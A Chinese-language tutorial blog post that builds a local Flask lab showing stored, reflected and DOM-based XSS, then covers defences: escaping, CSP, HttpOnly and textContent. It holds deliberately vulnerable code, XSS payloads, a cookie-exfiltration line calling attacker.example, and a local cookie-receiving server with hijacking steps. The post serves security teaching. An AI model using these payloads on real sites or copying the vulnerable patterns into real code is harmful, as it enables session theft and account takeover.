XSS入门:存储型、反射型、DOM型,用Flask全复现

今天聊聊整理跨站脚本。XSS 大概是 Web 安全里最"亲民"的漏洞------不需要懂数据库,不需要会写复杂 payload,一个 <script>alert(1)</script> 就能验证。 但真把三种类型分开复现之后,我发现最容易混淆的不是 payload 本身,而是漏洞到底发生在哪一层:存储型在数据库,反射型在响应回显,DOM 型在浏览器。服务端的防御对第三种基本无效。 还是老套路:用 Flask 起靶场,一个服务把三个场景都塞进去,挨个打一遍,最后把防御代码和自测清单理出来。

1. XSS原理:浏览器把用户输入当代码执行

SQL 注入是数据库分不清数据和代码,XSS 是浏览器分不清。应用把用户输入原样输出到 HTML 里,浏览器看到 <script> 就当成脚本执行,不会管这段内容是不是用户"故意写的"。 用 Flask 写一个最赤裸的反射点:

复制代码
@app.route('/reflect')
def reflect():
    q = request.args.get('q', '')
    return f'<h1>搜索结果:{q}</h1>'

访问 /reflect?q=<script>alert(1)</script>,弹窗。浏览器看到的是 <h1>搜索结果:<script>alert(1)</script></h1>,它不认识"用户输入"这个概念,只认识 HTML 标签。 个人的心得:看一个后端工程师是否有安全意识,第一个特征就是对接收的参数是不是进行原样返回,尤其是帮公司做review,看到这样的,那么安全问题就跑不了了。

2. 存储型XSS:留言板,输入被存进数据库

存储型是三种里危害最大的,因为不需要诱导点击,任何访问页面的用户都会中招。 靶场加一个留言板。SQLite 建表,提交后存入原文,展示时直接拼进 HTML:

复制代码
@app.route('/board', methods=['GET', 'POST'])
def board():
    if request.method == 'POST':
        msg = request.form.get('msg', '')
        conn = sqlite3.connect('test.db')
        conn.execute('INSERT INTO board (msg) VALUES (?)', (msg,))
        conn.commit()
        conn.close()
    conn = sqlite3.connect('test.db')
    rows = conn.execute('SELECT msg FROM board').fetchall()
    conn.close()
    # 危险:直接拼接输出
    html = '<h2>留言板</h2><form method="post"><textarea name="msg"></textarea><button>提交</button></form>'
    for (m,) in rows:
        html += f'<p>{m}</p>'
    return html

提交一条留言,内容是 <script>alert('stored')</script>。存入数据库的原文是这串标签,每次有人打开 /board,html += f'<p>{m}</p>' 就把这串标签送进响应,浏览器执行。

关键点:这里亦是如此,从参数接收到数据库保存,不做任何处理,那么注入到风险已经是极高的了,比如在上面的例子当中:数据库里存的是原文,这没有问题。用户可以在留言里写代码示例、写 <div> 标签,这是正常需求。问题出在输出的时候没有编码,把数据当成了代码。

3. 反射型XSS:搜索框,输入被回显

反射型不存库,payload 在 URL 里,服务端直接把它写回页面。需要诱导受害者点击构造好的链接。 上面的 /reflect 就是最小反射型。实际场景里更常见的是搜索框:

复制代码
@app.route('/search')
def search():
    q = request.args.get('q', '')
    results = f'<h3>你搜索了:{q}</h3>'
    # ... 假装查询数据 ...
    return results

构造链接 /search?q=<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>,发给目标用户。对方点击后,脚本在他的浏览器里执行,Cookie 被发到攻击者服务器。 反射型和存储型的核心区别不在 payload 本身,而在触发路径:反射型必须"骗人点链接",存储型"等鱼上钩"。这也决定了防御重点不同------反射型靠输出编码就能堵死,存储型还得考虑存量脏数据的清洗。

4. DOM型XSS:前端JS直接操作innerHTML

DOM 型最容易被忽略,因为这个事情在工作当中大概率有这种情况:前端以为后端处理了,后端觉得这个请求和自己关系不大,所以.....,因为服务端返回的响应是干净的。漏洞完全在前端 JavaScript 里。 写一个页面:

复制代码
<h3>欢迎,<span id="name"></span></h3>
<script>
  const params = new URLSearchParams(location.search);
  document.getElementById('name').innerHTML = params.get('name');
</script>

访问 /dom?name=<img src=x onerror=alert('dom')>,弹窗。 注意到问题了吗:服务端没有任何机会介入。Flask 收到的请求里 name 参数带着 payload,但如果这个页面是纯静态文件,或者服务端只返回了固定的 HTML 模板,服务端输出编码根本不会作用到 innerHTML 的赋值上。 这就是 DOM 型最阴的地方:WAF 拦不住,服务端转义管不着,CSP 成了最后一道防线。正确的写法只有一个:

复制代码
document.getElementById('name').textContent = params.get('name');

textContent 把内容当纯文本处理,不解析标签。没有例外。

5. 攻击载荷:script、img onerror、svg onload

<script>alert(1)</script> 是最直观的验证方式,但实际场景里经常被过滤。常见的替代载荷: img onerror:图片加载失败时触发,不依赖 <script> 标签。

复制代码
<img src=x onerror="alert('xss')">

svg onload:SVG 标签的加载事件,某些过滤规则会漏掉。

复制代码
<svg onload="alert('xss')">

在靶场里分别往三个场景投一遍,验证效果一致。 注意:靶场里能弹窗不代表真实环境能弹窗。现代框架的自动转义、浏览器的 XSS Auditor(虽然已废弃)、CSP 都可能拦截。弹窗只是证明"数据进入了代码语义",真正的危害要看能拿到什么。

6. Cookie窃取演示

弹窗是验证,窃取才是目的。本地演示需要一个接收端。起一个极简的 Flask 服务记录请求:

复制代码
# attacker_server.py
from flask import Flask, request
app = Flask(__name__)

@app.route('/steal')
def steal():
    cookie = request.args.get('c', '')
    with open('stolen.txt', 'a') as f:
        f.write(cookie + '\n')
    return 'ok'

payload 改成:

复制代码
<script>new Image().src='http://127.0.0.1:5001/steal?c='+encodeURIComponent(document.cookie)</script>

new Image().src 比 fetch 更隐蔽,不会在页面上产生任何视觉变化。把这个 payload 提交到存储型留言板,然后用另一个浏览器(或隐身窗口)登录同一个靶场,访问留言板页面。检查 stolen.txt,里面应该有当前会话的 Cookie。 拿到 Cookie 之后,用浏览器扩展(比如 Cookie-Editor)替换掉自己浏览器的对应 Cookie,刷新页面,如果靶场有基于 Cookie 的登录态,就会以受害者身份进入。 这个演示的前提是 Cookie 没有设置 HttpOnly。如果会话 Cookie 带了 HttpOnly,document.cookie 读不到它,窃取链路直接断掉。所以防御那一节里 HttpOnly 的分量很重。

7. 防御:输出编码、CSP、HttpOnly

打完一圈,防御思路其实比 SQL 注入更依赖"分层",因为 XSS 的入口太多、上下文太杂。 输出编码是核心。Flask 的 Jinja2 模板默认自动转义,但前提是你用模板:

复制代码
return render_template('search.html', q=q)

模板里写 {``{ q }},Jinja2 会把 < 转成 &lt;,> 转成 &gt;。但如果模板里写了 {``{ q | safe }},等于主动关掉转义,前面的努力全部作废。我见过不少案例是在"需要显示富文本"的需求下顺手加了 | safe,然后富文本没做白名单清洗,XSS 就回来了。 CSP 是兜底。 即使转义漏了、DOM 型防不住,CSP 能限制脚本从哪加载、能不能内联执行。Flask 里加响应头:

复制代码
@app.after_request
def set_csp(resp):
    resp.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "object-src 'none'"
    )
    return resp

script-src 'self' 意味着内联的 <script>alert(1)</script> 不会执行,因为它的来源不是同源外部文件。注意不要加 'unsafe-inline'**,加了等于没设。实际项目里可能需要 nonce 机制来放行必要的内联脚本,但那是优化,不是入门阶段该纠结的。 HttpOnly 切断窃取链路。 会话 Cookie 设置 HttpOnly 和 Secure:

复制代码
resp.set_cookie('session', value, httponly=True, secure=True, samesite='Lax')

httponly=True 让 JavaScript 无法通过 document.cookie 读取该 Cookie。即使 XSS 存在,攻击者也拿不到会话凭证------危害从"账户接管"降级为"页面篡改"。 DOM 型单独说。上面三条里,输出编码和 HttpOnly 对 DOM 型基本无效。唯一有效的代码级防御是永远用 textContent,不用 innerHTML。如果业务确实需要渲染 HTML 片段,引入 DOMPurify 这类经过审计的清洗库,不要自己写正则。

8. 自测清单

  • 所有模板输出是否使用 {``{ }},是否存在不必要的 | safe 或 Markup()?
  • 富文本输入是否经过白名单清洗(DOMPurify 等),而非黑名单过滤?
  • 前端代码中是否存在 innerHTML、outerHTML、document.write 接收用户可控数据?
  • 会话 Cookie 是否设置 HttpOnly + Secure + SameSite?
  • 是否配置了 CSP,且没有 'unsafe-inline' 和 'unsafe-eval'?
  • 反射型入口(搜索、错误页)的回显是否都走了模板引擎?
  • 存储型内容的展示是否与写入时的编码策略一致(存量数据也检查)?

靶场还是单文件 Flask + SQLite,代码在本地,有需要可以参考。有写得不准确的地方欢迎指正。文中演示的 Cookie 窃取、数据读取等操作,均在本地回环地址(127.0.0.1)的靶场内完成,不涉及任何真实业务系统或第三方数据。指用于网络安全学习。

相关推荐
class心平气和1 小时前
ADB 工具函数 Python 使用教程
开发语言·python·adb
小小张说故事2 小时前
Python 里 is 和 == 到底差在哪?拆开小整数池、字符串驻留与 0ns 身份比较
python
滴啦嘟啦哒2 小时前
【具身笔记】【Piper+PI0.5】三、探究失败原因
笔记·python·vla·具身
W_326002 小时前
Python 图像处理第二十八章|OpenCV 形态学操作进阶:腐蚀、膨胀、开运算、闭运算、梯度、顶帽黑帽
图像处理·人工智能·python·opencv·计算机视觉
BD_Marathon2 小时前
【Python】标准多态和鸭子多态
python
用户8356290780512 小时前
Python 操作 Excel:创建数组公式与 R1C1 公式
后端·python
持敬chijing3 小时前
系统入侵与攻击工具-正反向 Shell 深度对比与多种反弹姿势
安全·网络安全·网络攻击模型
万化冥合3 小时前
怎么批量把 Word 转 PDF?
python·pdf·c#·word
~城南花已开~3 小时前
Redfish 事件接收服务搭建指南(Ubuntu Server 实测)
linux·服务器·python·ubuntu